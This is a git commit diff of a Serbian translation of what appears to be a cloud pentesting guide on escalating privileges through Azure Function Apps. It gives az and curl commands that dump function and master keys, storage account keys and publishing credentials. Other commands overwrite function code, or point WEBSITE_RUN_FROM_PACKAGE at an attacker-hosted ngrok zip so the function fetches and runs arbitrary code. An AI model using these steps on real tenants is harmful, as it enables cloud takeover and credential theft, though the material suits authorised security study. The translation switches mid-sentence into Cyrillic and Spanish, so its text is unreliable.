Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:27:02 +00:00
parent 58ed90338e
commit 1d2e6a643b

View File

@@ -4,7 +4,7 @@
## Function Apps
Proverite sledeću stranicu za više informacija:
Pogledajte sledeću stranicu za više informacija:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Proverite sledeću stranicu za više informacija:
### Bucket Read/Write
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite kontejnere** (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati **kod koji izvršava funkcija**.
Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći **različite containers** (prilagođene ili sa unapred određenim imenima) koje mogu sadržati **kod koji izvršava Function**.
Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom.
Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom.
Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i **naterati Function da učita proizvoljan kod**, što omogućava eskalaciju privilegija na managed identities pridružene Function.
Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od
Ovaj metod deployment-a obično konfiguriše podešavanja **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti iz
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Te konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu.
Te konfiguracije sadrže **Storage Account Key** koji Function može koristiti za pristup kodu.
> [!CAUTION]
> Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
> Sa dovoljnim dozvolama za povezivanje na File Share i **izmenom pokrenutog skripta**, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka:
Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Takođe je uobičajeno pronaći **zip izdanja** unutar fascikle `function-releases` u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**.
Takođe je uobičajeno pronaći zip izdanja unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u kontejneru koji je **obično nazvan `function-releases`**.
Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u:
```bash
@@ -55,18 +55,18 @@ az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Ova konfiguracija obično sadrži **SAS URL za preuzimanje** koda iz Storage Account-a.
This config will usually contain a **SAS URL to download** the code from the Storage Account.
> [!CAUTION]
> Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
> Sa dovoljnim privilegijama za povezivanje na blob container koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder **`github-actions-deploy`** u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner **`scm-releases`**. Tamo je moguće pronaći najnovije izdanje u **Squashfs filesystem file format** i stoga je moguće pročitati kod funkcije:
Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container **`scm-releases`**. Tamo je moguće naći najnovije izdanje u **Squashfs filesystem file format** i shodno tome moguće je pročitati kod funkcije:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom računu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
Takođe je moguće pronaći **master and functions keys** pohranjene u storage account-u, u containeru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`**, u JSON fajlovima koje tamo možete pronaći.
> [!CAUTION]
> Sa dovoljno dozvola za povezivanje na blob kontejner koji **sadrži kod u zip ekstenzijskoj datoteci** (koja zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa:
Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je:
Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput:
```bash
# Get "script_href" from
az rest --method GET \
@@ -130,70 +130,91 @@ az rest --method GET \
# Access
curl "<script-href>?code=<master-key>"
## Python example:
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
I da **promenite kod koji se izvršava** u funkciji sa:
I da **izmenite kod koji se izvršava** u funkciji sa:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`
Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa:
Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Pozovite funkciju koristeći podrazumevani ključ koji ste dobili:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Ova dozvola omogućava kreiranje/aktuelizaciju funkcijskog ključa specificirane funkcije sa:
Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa:
Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije!
> Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno!
### `Microsoft.Web/sites/host/systemKeys/write`
Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa:
Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Koristi ključ:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`
Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama**.
Ova dozvola omogućava pristup podešavanjima funkcije. U tim konfiguracijama može se naći podrazumevana vrednost **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koja sadrži **ključ naloga za pristup blob storage-a funkcije sa punim ovlašćenjima**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Pored toga, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) sa:
Štaviše, ova dozvola takođe omogućava dobijanje **SCM username and password** (ako je omogućeno) pomoću:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije.
Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se **izmenjuju te vrednosti**. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije.
Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije:
Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije:
- Počnite tako što ćete dobiti trenutnu konfiguraciju
- Počnite tako što ćete preuzeti trenutnu konfiguraciju
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte.
- Napravite kod koji želite da funkcija izvršava i javno ga hostujte
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod.
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip** fajlom koji sadrži kod.
Sledeći je primer mojih **vlastitih podešavanja koja ćete morati da promenite za svoja**, obratite pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
U nastavku je primer mojih **ličnih podešavanja (moraćete da promenite vrednosti za svoja)**; obratite pažnju na kraju na vrednost `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Sa ovom dozvolom je **moguće modifikovati kod aplikacije** putem web konzole (ili putem sledeće API tačke):
Sa ovom dozvolom je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže **basic auth credentials**:
Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću:
Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Ako su **REDACTED** akreditivi
- Ako su kredencijali **REDACTED**
Ako vidite da su ti akreditivi **REDACTED**, to je zato što **morate omogućiti SCM osnovnu opciju autentifikacije** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Ako vidite da su ti kredencijali **REDACTED**, to je zato što morate **omogućiti opciju SCM basic authentication** i za to vam treba druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -264,7 +304,7 @@ az rest --method PUT \
```
- **Method SCM**
Zatim, možete pristupiti sa ovim **osnovnim autentifikacionim podacima za SCM URL** vaše funkcijske aplikacije i dobiti vrednosti env varijabli:
Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove **basic auth credentials** i dobiti vrednosti env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,13 +315,13 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Napomena da je **SCM korisničko ime** obično karakter "$" praćen imenom aplikacije, tako da: `$<app-name>`._
_Imajte na umu da je **SCM username** obično znak "$" praćen imenom aplikacije, dakle: `$<app-name>`. _
Možete takođe pristupiti veb stranici sa `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Takođe možete pristupiti web stranici na `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Vrednosti podešavanja sadrže **AccountKey** skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom.
Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om.
- **Metoda FTP**
- **Method FTP**
Povežite se na FTP server koristeći:
```bash
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Napomena da je **FTP korisničko ime** obično u formatu \<app-name>\\$\<app-name>._
_Imajte na umu da je **FTP username** obično u formatu \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Ova dozvola omogućava **čitati izvorni kod** aplikacije putem VFS:
Ova dozvola omogućava **čitanje izvornog koda** aplikacije preko VFS-a:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije.
Sa ovom dozvolom moguće je [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i izmeniti kod funkcije.
Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili:
Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili:
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Ova dozvola omogućava **omogućavanje funkcija** koje mogu biti onemogućene (ili njihovo onemogućavanje).
Ova dozvola omogućava da se **omoguće funkcije** koje su možda onemogućene (ili da se onemoguće).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi):
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši.
Sa ovim dozvolama moguće je **izmeniti kontejner koji pokreće function app** konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Sa ovim dozvolama moguće je **priključiti novu korisničku upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet.
Sa ovim dozvolama je moguće **attach a new user managed identity to a function**. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging
### Daljinsko otklanjanje grešaka
Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija.
Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije.
Moguće je proveriti da li funkcija ima omogućeno debagovanje sa:
Moguće je proveriti da li Function ima omogućeno debugovanje pomoću:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Imajući dozvolu `Microsoft.Web/sites/config/write`, takođe je moguće staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
Ako imate dozvolu `Microsoft.Web/sites/config/write`, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Promena Github repozitorijuma
Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi.
Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
Štaviše, **managed identity federated credential nije ažuriran** da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno.
```bash
# Remove current
az functionapp deployment source delete \